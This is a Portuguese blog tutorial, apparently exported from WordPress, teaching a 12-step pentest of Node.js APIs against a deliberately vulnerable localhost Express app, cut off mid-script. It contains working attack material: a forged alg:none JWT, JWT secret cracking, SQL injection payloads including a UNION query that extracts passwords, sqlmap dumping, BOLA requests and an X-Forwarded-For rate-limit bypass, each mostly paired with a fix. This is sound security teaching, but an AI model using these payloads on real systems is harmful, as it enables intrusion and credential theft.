{"id":171,"date":"2026-06-20T21:05:34","date_gmt":"2026-06-20T21:05:34","guid":{"rendered":"https:\/\/shattered.io\/pt\/2026\/06\/20\/pentest-api-nodejs\/"},"modified":"2026-06-25T23:49:30","modified_gmt":"2026-06-25T23:49:30","slug":"pentest-api-nodejs","status":"publish","type":"post","link":"https:\/\/shattered.io\/pt\/pentest-api-nodejs\/","title":{"rendered":"Pentest de APIs Node.js: 12 Passos para Testar a Seguran\u00e7a [2026]"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Em 2026, as APIs s\u00e3o o alvo preferido dos atacantes. Segundo o relat\u00f3rio <strong>IBM Cost of a Data Breach 2024<\/strong>, o custo m\u00e9dio de uma viola\u00e7\u00e3o de dados atingiu <strong>$4,88 milh\u00f5es<\/strong>, com ataques a APIs a representar uma fatia crescente desse valor. O relat\u00f3rio <strong>Salt Security State of API Security 2025<\/strong> indica que mais de <strong>94% das organiza\u00e7\u00f5es<\/strong> sofreram pelo menos um incidente de seguran\u00e7a em APIs nos \u00faltimos 12 meses.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Para um <strong>pentester<\/strong> ou programador que queira auditar as suas pr\u00f3prias APIs Node.js, o processo pode parecer intimidante: dezenas de ferramentas, centenas de t\u00e9cnicas e um invent\u00e1rio crescente de vulnerabilidades. Este tutorial apresenta um <strong>processo de 12 passos<\/strong> para testar a seguran\u00e7a de APIs Node.js de forma met\u00f3dica, com c\u00f3digo funcional, exemplos de output e os erros mais comuns a evitar. Todo o processo pode ser conclu\u00eddo em menos de <strong>4 horas<\/strong> para uma API de tamanho m\u00e9dio, usando ferramentas gratuitas ou de custo reduzido.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"por-que-o-pentest-de-apis-e-critico-em-2026\">Por que o Pentest de APIs \u00c9 Cr\u00edtico em 2026<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As APIs REST e GraphQL tornaram-se a espinha dorsal das aplica\u00e7\u00f5es modernas. Uma aplica\u00e7\u00e3o Node.js t\u00edpica exp\u00f5e dezenas de endpoints, cada um com l\u00f3gica de autoriza\u00e7\u00e3o pr\u00f3pria, valida\u00e7\u00e3o de input e acesso a dados sens\u00edveis. Um \u00fanico endpoint mal configurado pode comprometer toda a base de dados.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">O problema n\u00e3o \u00e9 a falta de boas pr\u00e1ticas, mas sim a velocidade de desenvolvimento. Equipas que publicam c\u00f3digo v\u00e1rias vezes por dia t\u00eam dificuldade em manter revis\u00f5es de seguran\u00e7a manuais. O <strong>OWASP API Security Top 10 de 2023<\/strong> documenta as vulnerabilidades mais cr\u00edticas, mas muitos programadores nunca as testam em produ\u00e7\u00e3o antes de um incidente real.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A realidade \u00e9 que um atacante profissional, ou um <strong>pentester<\/strong> experiente, leva em m\u00e9dia <strong>menos de 20 minutos<\/strong> a encontrar a primeira vulnerabilidade cr\u00edtica numa API Node.js sem prote\u00e7\u00e3o adequada. Testar antes que o atacante o fa\u00e7a \u00e9 a \u00fanica forma de garantir que o c\u00f3digo resiste. O investimento em testes de penetra\u00e7\u00e3o regulares reduz o custo m\u00e9dio de uma viola\u00e7\u00e3o em mais de <strong>$1,7 milh\u00f5es<\/strong>, segundo o IBM Security.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Categoria OWASP API Top 10 2023<\/th><th>C\u00f3digo<\/th><th>Frequ\u00eancia<\/th><th>Impacto T\u00edpico<\/th><\/tr><\/thead><tbody><tr><td>Broken Object Level Authorization (BOLA)<\/td><td>API1:2023<\/td><td>Muito alta<\/td><td>Acesso a dados de terceiros<\/td><\/tr><tr><td>Broken Authentication<\/td><td>API2:2023<\/td><td>Alta<\/td><td>Tomada de conta<\/td><\/tr><tr><td>Broken Object Property Level Authorization<\/td><td>API3:2023<\/td><td>Alta<\/td><td>Modifica\u00e7\u00e3o n\u00e3o autorizada<\/td><\/tr><tr><td>Unrestricted Resource Consumption<\/td><td>API4:2023<\/td><td>M\u00e9dia<\/td><td>Indisponibilidade, custo elevado<\/td><\/tr><tr><td>Broken Function Level Authorization (BFLA)<\/td><td>API5:2023<\/td><td>M\u00e9dia<\/td><td>Acesso a fun\u00e7\u00f5es administrativas<\/td><\/tr><tr><td>Unrestricted Access to Sensitive Business Flows<\/td><td>API6:2023<\/td><td>M\u00e9dia<\/td><td>Fraude, abuso de neg\u00f3cio<\/td><\/tr><tr><td>Server Side Request Forgery (SSRF)<\/td><td>API7:2023<\/td><td>Crescente<\/td><td>Acesso a redes internas<\/td><\/tr><tr><td>Security Misconfiguration<\/td><td>API8:2023<\/td><td>Alta<\/td><td>M\u00faltiplos vetores de ataque<\/td><\/tr><tr><td>Improper Inventory Management<\/td><td>API9:2023<\/td><td>Alta<\/td><td>APIs esquecidas, sem patch<\/td><\/tr><tr><td>Unsafe Consumption of APIs<\/td><td>API10:2023<\/td><td>Baixa\/M\u00e9dia<\/td><td>Confian\u00e7a excessiva em terceiros<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"pre-requisitos-e-ferramentas-necessarias\">Pr\u00e9-requisitos e Ferramentas Necess\u00e1rias<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Antes de come\u00e7ar, certifique-se de que tem <strong>autoriza\u00e7\u00e3o expl\u00edcita e por escrito<\/strong> para testar os sistemas alvo. Testes de penetra\u00e7\u00e3o sem autoriza\u00e7\u00e3o s\u00e3o ilegais em Portugal ao abrigo do Decreto-Lei 109-D\/2021 (Lei do Cibercrime). Todos os testes neste tutorial devem ser realizados em ambientes de desenvolvimento ou staging pr\u00f3prios, nunca em sistemas de produ\u00e7\u00e3o de terceiros.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Ferramenta<\/th><th>Vers\u00e3o<\/th><th>Custo<\/th><th>Finalidade<\/th><\/tr><\/thead><tbody><tr><td>Node.js<\/td><td>22.x LTS<\/td><td>Gr\u00e1tis<\/td><td>Runtime e scripts de teste<\/td><\/tr><tr><td>OWASP ZAP<\/td><td>2.16.x<\/td><td>Gr\u00e1tis<\/td><td>Scan automatizado de vulnerabilidades<\/td><\/tr><tr><td>Burp Suite Community<\/td><td>2025.x<\/td><td>Gr\u00e1tis<\/td><td>Proxy de intercep\u00e7\u00e3o e an\u00e1lise manual<\/td><\/tr><tr><td>SQLmap<\/td><td>\u00daltima est\u00e1vel<\/td><td>Gr\u00e1tis<\/td><td>Dete\u00e7\u00e3o de inje\u00e7\u00e3o SQL<\/td><\/tr><tr><td>Nmap<\/td><td>7.95+<\/td><td>Gr\u00e1tis<\/td><td>Enumera\u00e7\u00e3o de portas e servi\u00e7os<\/td><\/tr><tr><td>supertest (npm)<\/td><td>7.x<\/td><td>Gr\u00e1tis<\/td><td>Testes automatizados de endpoints HTTP<\/td><\/tr><tr><td>jest (npm)<\/td><td>29.x<\/td><td>Gr\u00e1tis<\/td><td>Framework de testes e asser\u00e7\u00f5es<\/td><\/tr><tr><td>artillery (npm)<\/td><td>2.x<\/td><td>Gr\u00e1tis<\/td><td>Testes de carga e rate limiting<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Instale as depend\u00eancias de teste no projeto Node.js:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>npm install --save-dev supertest jest\nnpm install -g artillery<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"passo-1-criar-a-api-de-laboratorio-node-js\">Passo 1: Criar a API de Laborat\u00f3rio Node.js<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Para praticar com seguran\u00e7a, comece por criar uma API Node.js vulner\u00e1vel num ambiente isolado. Esta API serve de alvo para todos os testes seguintes. Nunca execute testes em APIs de produ\u00e7\u00e3o sem autoriza\u00e7\u00e3o e janela de manuten\u00e7\u00e3o acordada.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ api-vulneravel.js - APENAS PARA TESTES EM AMBIENTE DE LAB\nconst express = require('express');\nconst jwt = require('jsonwebtoken');\nconst app = express();\n\napp.use(express.json());\n\nconst utilizadores = [\n  { id: 1, email: 'alice@exemplo.pt', senha: 'senha123', admin: false },\n  { id: 2, email: 'bob@exemplo.pt', senha: 'abc456', admin: false },\n  { id: 3, email: 'admin@exemplo.pt', senha: 'admin999', admin: true },\n];\n\nconst JWT_SECRET = 'segredo-fraco'; \/\/ Vulnerabilidade intencional\n\n\/\/ VULNER\u00c1VEL: Sem prote\u00e7\u00e3o de timing attack\napp.post('\/login', (req, res) => {\n  const { email, senha } = req.body;\n  const user = utilizadores.find(u => u.email === email && u.senha === senha);\n  if (!user) return res.status(401).json({ erro: 'Credenciais inv\u00e1lidas' });\n  const token = jwt.sign({ userId: user.id }, JWT_SECRET);\n  res.json({ token });\n});\n\n\/\/ VULNER\u00c1VEL: BOLA - sem verifica\u00e7\u00e3o de propriedade do recurso\napp.get('\/utilizadores\/:id', (req, res) => {\n  const user = utilizadores.find(u => u.id === parseInt(req.params.id));\n  if (!user) return res.status(404).json({ erro: 'N\u00e3o encontrado' });\n  res.json(user); \/\/ Exp\u00f5e a senha e todos os campos!\n});\n\n\/\/ VULNER\u00c1VEL: Sem limita\u00e7\u00e3o de taxa e sem sanitiza\u00e7\u00e3o\napp.post('\/pesquisar', (req, res) => {\n  const { q } = req.body;\n  const resultados = utilizadores.filter(u => u.email.includes(q));\n  res.json(resultados);\n});\n\napp.listen(3000, () => console.log('API de lab na porta 3000'));<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Inicie o servidor com <code>node api-vulneravel.js<\/code> e confirme que responde:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl http:\/\/localhost:3000\/utilizadores\/1\n\n# Output (exp\u00f5e senha - vulnerabilidade BOLA):\n# {\"id\":1,\"email\":\"alice@exemplo.pt\",\"senha\":\"senha123\",\"admin\":false}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"passo-2-reconhecimento-e-mapeamento-da-superficie-de-ataque\">Passo 2: Reconhecimento e Mapeamento da Superf\u00edcie de Ataque<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">O reconhecimento \u00e9 sempre o primeiro passo. Mesmo conhecendo o c\u00f3digo-fonte (teste de caixa branca), \u00e9 essencial verificar o que a API exp\u00f5e externamente e quais os endpoints acess\u00edveis. O Nmap identifica portas abertas, servi\u00e7os e vers\u00f5es de software.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"enumeracao-com-nmap\">Enumera\u00e7\u00e3o com Nmap<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Consulte o guia <a href=\"\/nmap-auditar-rede-12-passos\/\">Nmap: Auditar a Rede em 12 Passos<\/a> para refer\u00eancia completa. Para APIs Node.js, o seguinte comando \u00e9 suficiente para o reconhecimento inicial:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -sV -sC -p 80,443,3000,8080,8443 localhost\n\n# Output esperado:\n# PORT     STATE SERVICE VERSION\n# 3000\/tcp open  http    Node.js Express framework\n# |_http-title: Site doesn't have a title\n# |_http-server-header: Express<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">A presen\u00e7a do cabe\u00e7alho <code>X-Powered-By: Express<\/code> confirma a tecnologia usada. Este cabe\u00e7alho deve ser removido em produ\u00e7\u00e3o com <code>app.disable('x-powered-by')<\/code> ou com Helmet.js.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"descoberta-de-endpoints-com-gobuster\">Descoberta de Endpoints com Gobuster<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code># Varredura de endpoints comuns de APIs REST\ngobuster dir -u http:\/\/localhost:3000 \\\n  -w \/usr\/share\/wordlists\/dirb\/common.txt \\\n  -x json \\\n  --status-codes 200,201,401,403\n\n# Output:\n# \/login                (Status: 405) [Size: 31]\n# \/utilizadores         (Status: 200) [Size: 238]\n# \/pesquisar            (Status: 405) [Size: 31]<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"passo-3-analise-automatica-com-owasp-zap\">Passo 3: An\u00e1lise Autom\u00e1tica com OWASP ZAP<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">O <strong>OWASP ZAP<\/strong> (Zed Attack Proxy) \u00e9 o scanner de seguran\u00e7a de c\u00f3digo aberto mais usado por pentesters. A vers\u00e3o 2.16.x inclui uma API REST completa para integra\u00e7\u00e3o em pipelines de CI\/CD. Para comparar ZAP com Burp Suite em detalhe, consulte o artigo <a href=\"\/burp-suite-vs-owasp-zap\/\">Burp Suite vs OWASP ZAP: $449\/ano vs Gr\u00e1tis<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Para APIs Node.js, o fluxo mais eficaz \u00e9 o ZAP em modo daemon com API REST:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Iniciar ZAP em modo headless\nzap.sh -daemon -port 8090 -config api.key=minhachave123\n\n# Spider para descobrir endpoints\ncurl \"http:\/\/localhost:8090\/JSON\/spider\/action\/scan\/?apikey=minhachave123&url=http:\/\/localhost:3000\"\n\n# Iniciar scan ativo de vulnerabilidades\ncurl \"http:\/\/localhost:8090\/JSON\/ascan\/action\/scan\/?apikey=minhachave123&url=http:\/\/localhost:3000\"\n\n# Aguardar conclus\u00e3o (polling)\nuntil [ \"$(curl -s 'http:\/\/localhost:8090\/JSON\/ascan\/view\/status\/?apikey=minhachave123' | python3 -c 'import json,sys; print(json.load(sys.stdin)[\\\"status\\\"])')\" = \"100\" ]; do\n  echo \"Scan em curso...\"\n  sleep 5\ndone\n\n# Obter alertas\ncurl -s \"http:\/\/localhost:8090\/JSON\/core\/view\/alerts\/?apikey=minhachave123\" | \\\n  python3 -c \"\nimport json,sys\ndata=json.load(sys.stdin)\nfor a in data.get('alerts',[]):\n    print(f'{a[\\\"risk\\\"]:8} | {a[\\\"alert\\\"]}')\n\"\n\n# Output esperado:\n# High     | SQL Injection\n# High     | Weak Authentication Method\n# Medium   | X-Content-Type-Options Header Missing\n# Medium   | Content Security Policy (CSP) Header Not Set\n# Low      | X-Frame-Options Header Not Set<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"passo-4-testar-autenticacao-e-vulnerabilidades-jwt\">Passo 4: Testar Autentica\u00e7\u00e3o e Vulnerabilidades JWT<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A autentica\u00e7\u00e3o quebrada (<strong>API2:2023<\/strong>) \u00e9 a segunda categoria mais cr\u00edtica do OWASP API Top 10. Para APIs Node.js com JWT, h\u00e1 tr\u00eas ataques principais a testar. Consulte o artigo <a href=\"\/jwt-authentication-nodejs\/\">JWT Authentication in Node.js<\/a> para a implementa\u00e7\u00e3o segura.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Ataque 1: Algoritmo none<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Algumas implementa\u00e7\u00f5es JWT aceitam tokens com o campo <code>alg<\/code> definido como <code>none<\/code>, ignorando completamente a assinatura:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Criar token JWT com alg:none (sem assinatura)\nHEADER=$(echo -n '{\"alg\":\"none\",\"typ\":\"JWT\"}' | base64 -w0 | tr '+\/' '-_' | tr -d '=')\nPAYLOAD=$(echo -n '{\"userId\":3,\"iat\":1717000000}' | base64 -w0 | tr '+\/' '-_' | tr -d '=')\n\nTOKEN_NONE=\"${HEADER}.${PAYLOAD}.\"\n\n# Testar contra a API\ncurl -H \"Authorization: Bearer $TOKEN_NONE\" http:\/\/localhost:3000\/utilizadores\/3\n\n# Se vulner\u00e1vel, retorna dados do admin:\n# {\"id\":3,\"email\":\"admin@exemplo.pt\",\"senha\":\"admin999\",\"admin\":true}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Ataque 2: For\u00e7a Bruta ao Segredo JWT<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Instalar jwt_tool para an\u00e1lise e ataques JWT\npip3 install jwt_tool\n\n# Capturar um token v\u00e1lido via login\nTOKEN=$(curl -s -X POST http:\/\/localhost:3000\/login \\\n  -H \"Content-Type: application\/json\" \\\n  -d '{\"email\":\"alice@exemplo.pt\",\"senha\":\"senha123\"}' | \\\n  python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n\n# Tentar descobrir o segredo por dicion\u00e1rio\njwt_tool $TOKEN -C -d \/usr\/share\/wordlists\/rockyou.txt\n\n# Se o segredo for fraco:\n# [+] segredo-fraco is the CORRECT key!\n# [*] Cracked in 0.23 seconds\n# [*] Use flag -T to tamper with the token<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Corre\u00e7\u00e3o<\/strong>: Use segredos JWT com entropia m\u00ednima de <strong>256 bits<\/strong> e prefira algoritmos assim\u00e9tricos como RS256 ou ES256:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const crypto = require('crypto');\n\n\/\/ Gerar segredo com 256 bits de entropia (para HS256)\nconst JWT_SECRET = crypto.randomBytes(32).toString('hex');\n\n\/\/ Ou usar par de chaves assim\u00e9tricas (recomendado para produ\u00e7\u00e3o)\nconst { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {\n  modulusLength: 2048,\n});\n\n\/\/ Assinar com chave privada RS256\nconst token = jwt.sign({ userId: user.id }, privateKey, {\n  algorithm: 'RS256',\n  expiresIn: '1h',\n});\n\n\/\/ Verificar com chave p\u00fablica - algoritmo espec\u00edfico obrigat\u00f3rio\njwt.verify(token, publicKey, { algorithms: ['RS256'] });<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"passo-5-detetar-injecao-sql-com-sqlmap\">Passo 5: Detetar Inje\u00e7\u00e3o SQL com SQLmap<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A inje\u00e7\u00e3o SQL continua a ser uma das vulnerabilidades mais exploradas, mesmo com ORMs modernos. O <strong>SQLmap<\/strong> automatiza a dete\u00e7\u00e3o e explora\u00e7\u00e3o de falhas de inje\u00e7\u00e3o em APIs REST que aceitam JSON.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Testar endpoint POST com SQLmap\nsqlmap -u \"http:\/\/localhost:3000\/pesquisar\" \\\n  --data='{\"q\":\"test\"}' \\\n  --content-type=\"application\/json\" \\\n  --level=3 \\\n  --risk=2 \\\n  --batch\n\n# Output se vulner\u00e1vel:\n# [INFO] POST parameter 'JSON q' appears to be injectable\n# [INFO] AND boolean-based blind - WHERE or HAVING clause\n\n# Extrair dados com SQLmap (prova de conceito)\nsqlmap -u \"http:\/\/localhost:3000\/pesquisar\" \\\n  --data='{\"q\":\"test\"}' \\\n  --content-type=\"application\/json\" \\\n  --dump \\\n  --batch<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Para testes manuais, os payloads mais eficazes para APIs Node.js com SQLite, PostgreSQL ou MySQL:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Boolean-based blind injection\ncurl -X POST http:\/\/localhost:3000\/pesquisar \\\n  -H \"Content-Type: application\/json\" \\\n  -d '{\"q\":\"test'\"'\"' AND 1=1 --\"}'\n\n# Time-based blind (detecta quando n\u00e3o h\u00e1 output vis\u00edvel)\ncurl -X POST http:\/\/localhost:3000\/pesquisar \\\n  -H \"Content-Type: application\/json\" \\\n  -d '{\"q\":\"'\"'\"' OR SLEEP(5) --\"}'\n# Se a resposta demorar 5+ segundos, h\u00e1 inje\u00e7\u00e3o time-based\n\n# Union-based (extra\u00e7\u00e3o direta de dados)\ncurl -X POST http:\/\/localhost:3000\/pesquisar \\\n  -H \"Content-Type: application\/json\" \\\n  -d '{\"q\":\"'\"'\"' UNION SELECT email,senha,NULL FROM utilizadores --\"}'<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Corre\u00e7\u00e3o<\/strong>: Use sempre queries parametrizadas com um ORM ou o driver nativo. Nunca construa queries SQL por concatena\u00e7\u00e3o:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ MAU: Vulner\u00e1vel a SQL Injection\nconst query = `SELECT * FROM users WHERE email LIKE '%${q}%'`;\n\n\/\/ BOM: Query parametrizada com pg (PostgreSQL)\nconst { rows } = await pool.query(\n  'SELECT id, email FROM users WHERE email LIKE $1',\n  [`%${q}%`]\n);\n\n\/\/ BOM: Com Prisma ORM (prote\u00e7\u00e3o autom\u00e1tica)\nconst users = await prisma.user.findMany({\n  where: { email: { contains: q } },\n  select: { id: true, email: true }, \/\/ Nunca incluir senha\n});<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"passo-6-testar-controlo-de-acesso-bola-e-bfla\">Passo 6: Testar Controlo de Acesso (BOLA e BFLA)<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">O <strong>Broken Object Level Authorization<\/strong> (BOLA, tamb\u00e9m conhecido como IDOR) \u00e9 a vulnerabilidade n\u00famero 1 do OWASP API Top 10 2023. Ocorre quando um utilizador acede a recursos de outros utilizadores apenas alterando um ID na URL. Um pentester testa isto sistematicamente em todos os endpoints com identificadores.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Passo 1: Autenticar como utilizador 1 (alice)\nTOKEN=$(curl -s -X POST http:\/\/localhost:3000\/login \\\n  -H \"Content-Type: application\/json\" \\\n  -d '{\"email\":\"alice@exemplo.pt\",\"senha\":\"senha123\"}' | \\\n  python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n\necho \"Token de Alice obtido\"\n\n# Passo 2: Testar BOLA - Alice aceder ao perfil de Bob (ID 2)\necho \"=== Teste BOLA: Acesso ao recurso de Bob ===\"\ncurl -s -H \"Authorization: Bearer $TOKEN\" http:\/\/localhost:3000\/utilizadores\/2\n# Resposta vulner\u00e1vel: {\"id\":2,\"email\":\"bob@exemplo.pt\",\"senha\":\"abc456\",\"admin\":false}\n# Resposta segura: {\"erro\":\"Acesso negado\"} (HTTP 403)\n\n# Passo 3: Escalada de privil\u00e9gio - Alice tentar aceder ao admin (ID 3)\necho \"=== Teste BOLA: Escalada para admin ===\"\ncurl -s -H \"Authorization: Bearer $TOKEN\" http:\/\/localhost:3000\/utilizadores\/3\n# Resposta vulner\u00e1vel: {\"id\":3,\"email\":\"admin@exemplo.pt\",\"senha\":\"admin999\",\"admin\":true}\n\n# Passo 4: BFLA - tentar fun\u00e7\u00f5es administrativas como utilizador normal\necho \"=== Teste BFLA: Fun\u00e7\u00f5es admin ===\"\ncurl -s -X DELETE -H \"Authorization: Bearer $TOKEN\" \\\n  http:\/\/localhost:3000\/admin\/utilizadores\/2\n# Resposta correta: 403 Forbidden\n# Resposta vulner\u00e1vel: 200 OK<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Corre\u00e7\u00e3o BOLA<\/strong>: Implemente verifica\u00e7\u00e3o de propriedade em cada endpoint que acede a recursos espec\u00edficos:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ Middleware de autentica\u00e7\u00e3o\nconst autenticar = (req, res, next) => {\n  const token = req.headers.authorization?.replace('Bearer ', '');\n  if (!token) return res.status(401).json({ erro: 'Token obrigat\u00f3rio' });\n  try {\n    req.utilizador = jwt.verify(token, JWT_SECRET, { algorithms: ['HS256'] });\n    next();\n  } catch {\n    res.status(401).json({ erro: 'Token inv\u00e1lido ou expirado' });\n  }\n};\n\n\/\/ Endpoint com verifica\u00e7\u00e3o BOLA correta\napp.get('\/utilizadores\/:id', autenticar, async (req, res) => {\n  const idSolicitado = parseInt(req.params.id);\n\n  \/\/ O utilizador s\u00f3 pode aceder ao pr\u00f3prio perfil, exceto admins\n  if (idSolicitado !== req.utilizador.userId && !req.utilizador.admin) {\n    return res.status(403).json({ erro: 'Acesso negado' });\n  }\n\n  const user = await User.findById(idSolicitado);\n  if (!user) return res.status(404).json({ erro: 'N\u00e3o encontrado' });\n\n  \/\/ NUNCA retornar a senha\n  const { senha, ...dadosSeguros } = user;\n  res.json(dadosSeguros);\n});<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"passo-7-verificar-limitacao-de-taxa-e-ataques-de-forca-bruta\">Passo 7: Verificar Limita\u00e7\u00e3o de Taxa e Ataques de For\u00e7a Bruta<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Sem <strong>rate limiting<\/strong>, qualquer endpoint de autentica\u00e7\u00e3o fica vulner\u00e1vel a ataques de for\u00e7a bruta. Um pentester testa esta prote\u00e7\u00e3o com ferramentas de carga. O artigo <a href=\"\/rate-limiting-nodejs\/\">Rate Limiting em Node.js: 12 Passos<\/a> cobre a implementa\u00e7\u00e3o com express-rate-limit e Redis.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Criar configura\u00e7\u00e3o artillery para teste de for\u00e7a bruta\ncat > teste-rate-limit.yml << 'EOF'\nconfig:\n  target: \"http:\/\/localhost:3000\"\n  phases:\n    - duration: 10\n      arrivalRate: 50\n      name: \"Simula\u00e7\u00e3o de for\u00e7a bruta\"\n\nscenarios:\n  - name: \"Tentativas de login com senhas aleat\u00f3rias\"\n    flow:\n      - post:\n          url: \"\/login\"\n          json:\n            email: \"alice@exemplo.pt\"\n            senha: \"{{ $randomString() }}\"\nEOF\n\n# Executar teste\nartillery run teste-rate-limit.yml\n\n# Output sem rate limiting (problema cr\u00edtico):\n# Requests completed:   500\n# HTTP 401 (credenciais erradas):  500\n# HTTP 429 (bloqueado):              0\n# --> Todas as 500 tentativas passaram sem bloqueio!<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Adicionalmente, teste o bypass de rate limiting via manipula\u00e7\u00e3o de cabe\u00e7alhos:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Testar bypass via X-Forwarded-For\nfor i in $(seq 1 20); do\n  STATUS=$(curl -s -X POST http:\/\/localhost:3000\/login \\\n    -H \"Content-Type: application\/json\" \\\n    -H \"X-Forwarded-For: 10.0.0.$i\" \\\n    -d '{\"email\":\"alice@exemplo.pt\",\"senha\":\"errada\"}' \\\n    -o \/dev\/null -w '%{http_code}')\n  echo \"IP fake 10.0.0.$i -> HTTP $STATUS\"\ndone\n\n# Se todos retornarem 401 (e n\u00e3o 429), o rate limiting\n# confia no cabe\u00e7alho X-Forwarded-For sem valida\u00e7\u00e3o - vulner\u00e1vel!<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"passo-8-verificar-cabecalhos-de-seguranca-http\">Passo 8: Verificar Cabe\u00e7alhos de Seguran\u00e7a HTTP<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Os cabe\u00e7alhos HTTP de seguran\u00e7a s\u00e3o uma camada de defesa que muitos programadores ignoram. Um pentester verifica sempre a presen\u00e7a e configura\u00e7\u00e3o correta destes cabe\u00e7alhos como parte do teste de <strong>API8:2023 &#8211; Security Misconfiguration<\/strong>.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Verificar cabe\u00e7alhos de seguran\u00e7a com curl\ncurl -I http:\/\/localhost:3000\/utilizadores\/1\n\n# Output de uma API sem prote\u00e7\u00e3o (problem\u00e1tico):\n# HTTP\/1.1 200 OK\n# X-Powered-By: Express           <-- Exp\u00f5e tecnologia\n# Content-Type: application\/json\n# Access-Control-Allow-Origin: *  <-- CORS completamente aberto\n# (sem Strict-Transport-Security)\n# (sem X-Content-Type-Options)\n# (sem X-Frame-Options)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Cabe\u00e7alho HTTP<\/th><th>Valor Recomendado<\/th><th>Risco se Ausente<\/th><\/tr><\/thead><tbody><tr><td>Strict-Transport-Security<\/td><td><code>max-age=31536000; includeSubDomains<\/code><\/td><td>Downgrade HTTPS para HTTP, MITM<\/td><\/tr><tr><td>X-Content-Type-Options<\/td><td><code>nosniff<\/code><\/td><td>MIME sniffing, XSS via upload<\/td><\/tr><tr><td>X-Frame-Options<\/td><td><code>DENY<\/code><\/td><td>Clickjacking<\/td><\/tr><tr><td>Content-Security-Policy<\/td><td>Diretivas espec\u00edficas por aplica\u00e7\u00e3o<\/td><td>XSS, inje\u00e7\u00e3o de conte\u00fado<\/td><\/tr><tr><td>X-Powered-By<\/td><td>Remover<\/td><td>Fingerprinting da tecnologia<\/td><\/tr><tr><td>Referrer-Policy<\/td><td><code>strict-origin-when-cross-origin<\/code><\/td><td>Fuga de informa\u00e7\u00e3o sens\u00edvel<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Para automatizar esta verifica\u00e7\u00e3o num script de teste:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code\">#!\/usr\/bin\/env node\n\/\/ verificar-cabecalhos.js\nconst https = require('https');\nconst http = require('http');\n\nconst CABECALHOS_OBRIGATORIOS = [\n  'strict-transport-security',\n  'x-content-type-options',\n  'x-frame-options',\n  'content-security-policy',\n];\n\nasync function verificarCabecalhos(url) {\n  return new Promise((resolve) => {\n    const client = url.startsWith('https') ? https : http;\n    client.get(url, (res) => {\n      const cabecalhos = res.headers;\n      const resultados = CABECALHOS_OBRIGATORIOS.map(cab => ({\n        cabecalho: cab,\n        presente: !!cabecalhos[cab],\n        valor: cabecalhos[cab] || 'AUSENTE',\n      }));\n      resolve(resultados);\n    });\n  });\n}\n\n(async () => {\n  const resultados = await verificarCabecalhos('http:\/\/localhost:3000\/');\n  resultados.forEach(r => {\n    const status = r.presente ? 'OK' : 'FALHA';\n    console.log(`[${status}] ${r.cabecalho}: ${r.valor}`);\n  